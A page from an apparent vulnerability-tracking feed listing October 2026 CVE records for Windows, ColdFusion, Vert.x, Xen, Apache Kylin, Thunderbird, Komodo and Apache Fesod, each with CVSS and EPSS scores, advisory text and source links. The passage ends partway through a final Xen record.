KEV evidence not available.

### Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102205
Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102205).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102205&date=2026-10-25).
Sources:
NVD CVE-2026-102205: https://nvd.nist.gov/vuln/detail/CVE-2026-102205
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102205
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102205&date=2026-10-25
Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102207
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102207).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102207&date=2026-10-25).
Sources:
NVD CVE-2026-102207: https://nvd.nist.gov/vuln/detail/CVE-2026-102207
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102207
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102207&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102208
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102208).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102208&date=2026-10-25).
Sources:
NVD CVE-2026-102208: https://nvd.nist.gov/vuln/detail/CVE-2026-102208
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102208
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102208&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation.
https://kevwire.com/record/CVE-2026-76001
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. (Oct 13, 2026).
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 7.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76001).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76001&date=2026-10-25).
Sources:
NVD CVE-2026-76001: https://nvd.nist.gov/vuln/detail/CVE-2026-76001
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76001&date=2026-10-25
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], a scope bypass vulnerability exists in Eclipse Vert.x Web's ChainAuthHandler when...
https://kevwire.com/record/CVE-2026-102460
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], a scope bypass vulnerability exists in Eclipse Vert.x Web's ChainAuthHandler when... (Oct 14, 2026).
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], a scope bypass vulnerability exists in Eclipse Vert.x Web's ChainAuthHandler when used with scope-requiring authentication handlers such as JWTAuthHandler or OAuth2AuthHandler. When a user is already authenticated on the routing context by a preceding handler in the request pipeline, ChainAuthHandler skips all scope validation configured via withScope() or withScopes(). This affects both any() and all() chain modes.



The root cause is that postAuthentication() relies on internal state that is only set during the authenticate() phase, which is skipped entirely for pre-authenticated users. In any() mode, the absence of this state causes the method to fall through without delegating scope checks to any handler. In all() mode, scope checks are unconditionally skipped.



This allows a user with a valid token but insufficient scopes to access resources protected by scope requirements, provided they were authenticated by an earlier handler in the pipeline. The most common trigger is overlapping authentication handlers on nested routes, where a parent route authenticates broadly and a child route uses a chain to enforce specific scopes.



The impacted component Maven coordinate is io.vertx:vertx-web
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102460).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102460&date=2026-10-25).
Sources:
NVD CVE-2026-102460: https://nvd.nist.gov/vuln/detail/CVE-2026-102460
Vendor advisory (via NVD references): https://github.com/vert-x3/vertx-web/security/advisories/GHSA-2p39-cr56-w58j
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102460&date=2026-10-25
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], a scope bypass vulnerability exists in Eclipse Vert.x Web's ChainAuthHandler when used with scope-requiring authentication handlers such as JWTAuthHandler or OAuth2AuthHandler. When a user is already authenticated on the routing context by a preceding handler in the request pipeline, ChainAuthHandler skips all scope validation configured via withScope() or withScopes(). This affects both any() and all() chain modes.



The root cause is that postAuthentication() relies on internal state that is only set during the authenticate() phase, which is skipped entirely for pre-authenticated users. In any() mode, the absence of this state causes the method to fall through without delegating scope checks to any handler. In all() mode, scope checks are unconditionally skipped.



This allows a user with a valid token but insufficient scopes to access resources protected by scope requirements, provided they were authenticated by an earlier handler in the pipeline. The most common trigger is overlapping authentication handlers on nested routes, where a parent route authenticates broadly and a child route uses a chain to enforce specific scopes.



The impacted component Maven coordinate is io.vertx:vertx-web

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102209
Heap-based buffer overflow in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102209).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102209&date=2026-10-25).
Sources:
NVD CVE-2026-102209: https://nvd.nist.gov/vuln/detail/CVE-2026-102209
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102209
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102209&date=2026-10-25
Heap-based buffer overflow in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-102210
Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102210).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102210&date=2026-10-25).
Sources:
NVD CVE-2026-102210: https://nvd.nist.gov/vuln/detail/CVE-2026-102210
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102210
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102210&date=2026-10-25
Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### XSA-501 was about issues with v1 -> v2 and v2 -> v1 changes racing certain
other grant table operations.  Sadly a v2 -> v1 -> v2 change has yet
another effect which wasn't...
https://kevwire.com/record/CVE-2026-79610
XSA-501 was about issues with v1 -> v2 and v2 -> v1 changes racing certain
other grant table operations.  Sadly a v2 -> v1 -> v2 change has yet
another effect which wasn't... (Oct 13, 2026).
XSA-501 was about issues with v1 -> v2 and v2 -> v1 changes racing certain
other grant table operations.  Sadly a v2 -> v1 -> v2 change has yet
another effect which wasn't accounted for: During the first change, status
pages would be freed.  During the second change they would be allocated
again.  Hence across the full pair of change the addresses of the status
pages may change, rendering stale previously calculated pointers into the
status array.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79610).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79610&date=2026-10-25).
Sources:
NVD CVE-2026-79610: https://nvd.nist.gov/vuln/detail/CVE-2026-79610
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79610&date=2026-10-25
XSA-501 was about issues with v1 -> v2 and v2 -> v1 changes racing certain
other grant table operations.  Sadly a v2 -> v1 -> v2 change has yet
another effect which wasn't accounted for: During the first change, status
pages would be freed.  During the second change they would be allocated
again.  Hence across the full pair of change the addresses of the status
pages may change, rendering stale previously calculated pointers into the
status array.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### XPTI (Xen Page Table Isolation) was introduced to mitigate Meltdown
(CVE-2017-5754, one aspect of XSA-254).  This involves copying 64-bit PV
guest page table entries from...
https://kevwire.com/record/CVE-2026-79609
XPTI (Xen Page Table Isolation) was introduced to mitigate Meltdown
(CVE-2017-5754, one aspect of XSA-254).  This involves copying 64-bit PV
guest page table entries from... (Oct 13, 2026).
XPTI (Xen Page Table Isolation) was introduced to mitigate Meltdown
(CVE-2017-5754, one aspect of XSA-254).  This involves copying 64-bit PV
guest page table entries from guest-chosen root page tables to the Xen-
chosen one which is in actual use by hardware.  To read the guest root
page table, the directmap is used.  PV guests, however, have a directmap
which may not cover all memory; in particular this is the case if any
memory extends beyond the 5 TiB (CONFIG_BIGMEM=y: 3.5 TiB) address
boundary.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79609).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79609&date=2026-10-25).
Sources:
NVD CVE-2026-79609: https://nvd.nist.gov/vuln/detail/CVE-2026-79609
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79609&date=2026-10-25
XPTI (Xen Page Table Isolation) was introduced to mitigate Meltdown
(CVE-2017-5754, one aspect of XSA-254).  This involves copying 64-bit PV
guest page table entries from guest-chosen root page tables to the Xen-
chosen one which is in actual use by hardware.  To read the guest root
page table, the directmap is used.  PV guests, however, have a directmap
which may not cover all memory; in particular this is the case if any
memory extends beyond the 5 TiB (CONFIG_BIGMEM=y: 3.5 TiB) address
boundary.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The workaround for XSA-433 (Zenbleed, CVE-2023-20593) was later
re-worked to better integrate with other manipulations of the same MSR.
In this rework an inverted conditional was...
https://kevwire.com/record/CVE-2026-79608
The workaround for XSA-433 (Zenbleed, CVE-2023-20593) was later
re-worked to better integrate with other manipulations of the same MSR.
In this rework an inverted conditional was... (Oct 13, 2026).
The workaround for XSA-433 (Zenbleed, CVE-2023-20593) was later
re-worked to better integrate with other manipulations of the same MSR.
In this rework an inverted conditional was introduced, resulting in the
workaround to not be applied when needed and vice versa.

For more details, see:
  http://xenbits.xen.org/xsa/advisory-433.html
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79608).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79608&date=2026-10-25).
Sources:
NVD CVE-2026-79608: https://nvd.nist.gov/vuln/detail/CVE-2026-79608
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79608&date=2026-10-25
The workaround for XSA-433 (Zenbleed, CVE-2023-20593) was later
re-worked to better integrate with other manipulations of the same MSR.
In this rework an inverted conditional was introduced, resulting in the
workaround to not be applied when needed and vice versa.

For more details, see:
  http://xenbits.xen.org/xsa/advisory-433.html

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Authentication vulnerability in Apache Kylin.
https://kevwire.com/record/CVE-2026-68573
Improper Authentication vulnerability in Apache Kylin. (Oct 16, 2026).
Improper Authentication vulnerability in Apache Kylin. Unauthenticated user may access to system cleanup actions. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted. 



This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-68573).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-68573&date=2026-10-25).
Sources:
NVD CVE-2026-68573: https://nvd.nist.gov/vuln/detail/CVE-2026-68573
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-68573&date=2026-10-25
Improper Authentication vulnerability in Apache Kylin. Unauthenticated user may access to system cleanup actions. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted. 



This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Kylin.
https://kevwire.com/record/CVE-2026-68572
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Kylin. (Oct 16, 2026).
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Kylin.



This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-68572).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-68572&date=2026-10-25).
Sources:
NVD CVE-2026-68572: https://nvd.nist.gov/vuln/detail/CVE-2026-68572
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-68572&date=2026-10-25
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Kylin.



This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CCC Attestation SIG attested-tls-poc through commit 731ca82 fails to bind early attestation Evidence to the TLS connection, allowing attackers to relay valid Evidence from a...
https://kevwire.com/record/CVE-2026-112377
CCC Attestation SIG attested-tls-poc through commit 731ca82 fails to bind early attestation Evidence to the TLS connection, allowing attackers to relay valid Evidence from a... (Oct 19, 2026).
CCC Attestation SIG attested-tls-poc through commit 731ca82 fails to bind early attestation Evidence to the TLS connection, allowing attackers to relay valid Evidence from a genuine attester. Attackers holding an extracted attested TLS private key can forward the relying party's nonce to a genuine attester and replay its Evidence to impersonate the attested workload and intercept data.
CVSS 9.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112377).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112377&date=2026-10-25).
Sources:
NVD CVE-2026-112377: https://nvd.nist.gov/vuln/detail/CVE-2026-112377
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112377&date=2026-10-25
CCC Attestation SIG attested-tls-poc through commit 731ca82 fails to bind early attestation Evidence to the TLS connection, allowing attackers to relay valid Evidence from a genuine attester. Attackers holding an extracted attested TLS private key can forward the relying party's nonce to a genuine attester and replay its Evidence to impersonate the attested workload and intercept data.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A malicious, compromised, or MITM-controlled Exchange server can return a single well-formed SOAP response containing an element with enough attributes to keep Thunderbird's main...
https://kevwire.com/record/CVE-2026-110249
A malicious, compromised, or MITM-controlled Exchange server can return a single well-formed SOAP response containing an element with enough attributes to keep Thunderbird's main... (Oct 13, 2026).
A malicious, compromised, or MITM-controlled Exchange server can return a single well-formed SOAP response containing an element with enough attributes to keep Thunderbird's main thread CPU-bound for seconds to hours. This vulnerability was fixed in Thunderbird 158 and Thunderbird 153.5.
CVSS 8.6 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110249).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110249&date=2026-10-25).
Sources:
NVD CVE-2026-110249: https://nvd.nist.gov/vuln/detail/CVE-2026-110249
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110249&date=2026-10-25
A malicious, compromised, or MITM-controlled Exchange server can return a single well-formed SOAP response containing an element with enough attributes to keep Thunderbird's main thread CPU-bound for seconds to hours. This vulnerability was fixed in Thunderbird 158 and Thunderbird 153.5.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Several buffer-growth sites in libmime performed size arithmetic in 32-bit types without overflow checks.
https://kevwire.com/record/CVE-2026-110247
Several buffer-growth sites in libmime performed size arithmetic in 32-bit types without overflow checks. (Oct 13, 2026).
Several buffer-growth sites in libmime performed size arithmetic in 32-bit types without overflow checks. On a sufficiently large message the growth guard could fail open, or the buffer could be reallocated smaller than required, and a subsequent memcpy would then write attacker-controlled data across adjacent heap allocations. This vulnerability was fixed in Thunderbird 158.
CVSS 8.4 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110247).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110247&date=2026-10-25).
Sources:
NVD CVE-2026-110247: https://nvd.nist.gov/vuln/detail/CVE-2026-110247
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110247&date=2026-10-25
Several buffer-growth sites in libmime performed size arithmetic in 32-bit types without overflow checks. On a sufficiently large message the growth guard could fail open, or the buffer could be reallocated smaller than required, and a subsequent memcpy would then write attacker-controlled data across adjacent heap allocations. This vulnerability was fixed in Thunderbird 158.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The `periphery` agent's container-management functionality of Komodo version 2.2.0 contains an OS command injection vulnerability.
https://kevwire.com/record/CVE-2026-110005
The `periphery` agent's container-management functionality of Komodo version 2.2.0 contains an OS command injection vulnerability. (Oct 13, 2026).
The `periphery` agent's container-management functionality of Komodo version 2.2.0 contains an OS command injection vulnerability. An authenticated low-privileged user with `Execute`, or `Read` plus `Logs`, permission on a managed server can supply shell metacharacters in a container name processed by the `DestroyContainer` or `SearchContainerLog` operations. The container name is interpolated without escaping into a command executed using `sh -c`, allowing arbitrary commands to execute as root on the managed host. This permits a user without Komodo's `Terminal` permission to obtain unrestricted host-level command execution.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110005).
EPSS 2.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110005&date=2026-10-25).
Sources:
NVD CVE-2026-110005: https://nvd.nist.gov/vuln/detail/CVE-2026-110005
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110005&date=2026-10-25
The `periphery` agent's container-management functionality of Komodo version 2.2.0 contains an OS command injection vulnerability. An authenticated low-privileged user with `Execute`, or `Read` plus `Logs`, permission on a managed server can supply shell metacharacters in a container name processed by the `DestroyContainer` or `SearchContainerLog` operations. The container name is interpolated without escaping into a command executed using `sh -c`, allowing arbitrary commands to execute as root on the managed host. This permits a user without Komodo's `Terminal` permission to obtain unrestricted host-level command execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Server-Side Request Forgery (SSRF) protection in the UrlImageConverter component of Apache Fesod (Incubating) fesod-sheet 2.0.2-incubating can be bypassed through DNS rebinding.
https://kevwire.com/record/CVE-2026-107460
Server-Side Request Forgery (SSRF) protection in the UrlImageConverter component of Apache Fesod (Incubating) fesod-sheet 2.0.2-incubating can be bypassed through DNS rebinding. (Oct 13, 2026).
Server-Side Request Forgery (SSRF) protection in the UrlImageConverter component of Apache Fesod (Incubating) fesod-sheet 2.0.2-incubating can be bypassed through DNS rebinding. When an application accepts an attacker-controlled image URL for spreadsheet writing, the converter checks the hostname's resolved IP addresses and then opens a separate connection that can resolve the hostname again. An attacker who controls DNS responses for the URL hostname may cause the connection to reach a restricted address after validation. CVE-2026-49328 covers SSRF in releases before 2.0.2-incubating; this issue is a DNS rebinding bypass of the protection in 2.0.2-incubating. Apache Fesod (Incubating) 2.1.0-incubating addresses the reported default-fetch scenario by disabling remote URL image fetching by default and requiring an explicit exact-host allowlist when the feature is enabled. Users should upgrade to 2.1.0-incubating. Applications enabling remote URL image fetching should allowlist only hostnames whose DNS and HTTP services are trusted.
CVSS 9.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107460).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107460&date=2026-10-25).
Sources:
NVD CVE-2026-107460: https://nvd.nist.gov/vuln/detail/CVE-2026-107460
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107460&date=2026-10-25
Server-Side Request Forgery (SSRF) protection in the UrlImageConverter component of Apache Fesod (Incubating) fesod-sheet 2.0.2-incubating can be bypassed through DNS rebinding. When an application accepts an attacker-controlled image URL for spreadsheet writing, the converter checks the hostname's resolved IP addresses and then opens a separate connection that can resolve the hostname again. An attacker who controls DNS responses for the URL hostname may cause the connection to reach a restricted address after validation. CVE-2026-49328 covers SSRF in releases before 2.0.2-incubating; this issue is a DNS rebinding bypass of the protection in 2.0.2-incubating. Apache Fesod (Incubating) 2.1.0-incubating addresses the reported default-fetch scenario by disabling remote URL image fetching by default and requiring an explicit exact-host allowlist when the feature is enabled. Users should upgrade to 2.1.0-incubating. Applications enabling remote URL image fetching should allowlist only hostnames whose DNS and HTTP services are trusted.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### [This CNA information record relates to multiple CVEs; the
text explains which aspects/vulnerabilities correspond to which CVE.]

1) XSA-437 (CVE-2023-34321) addressed issues with...
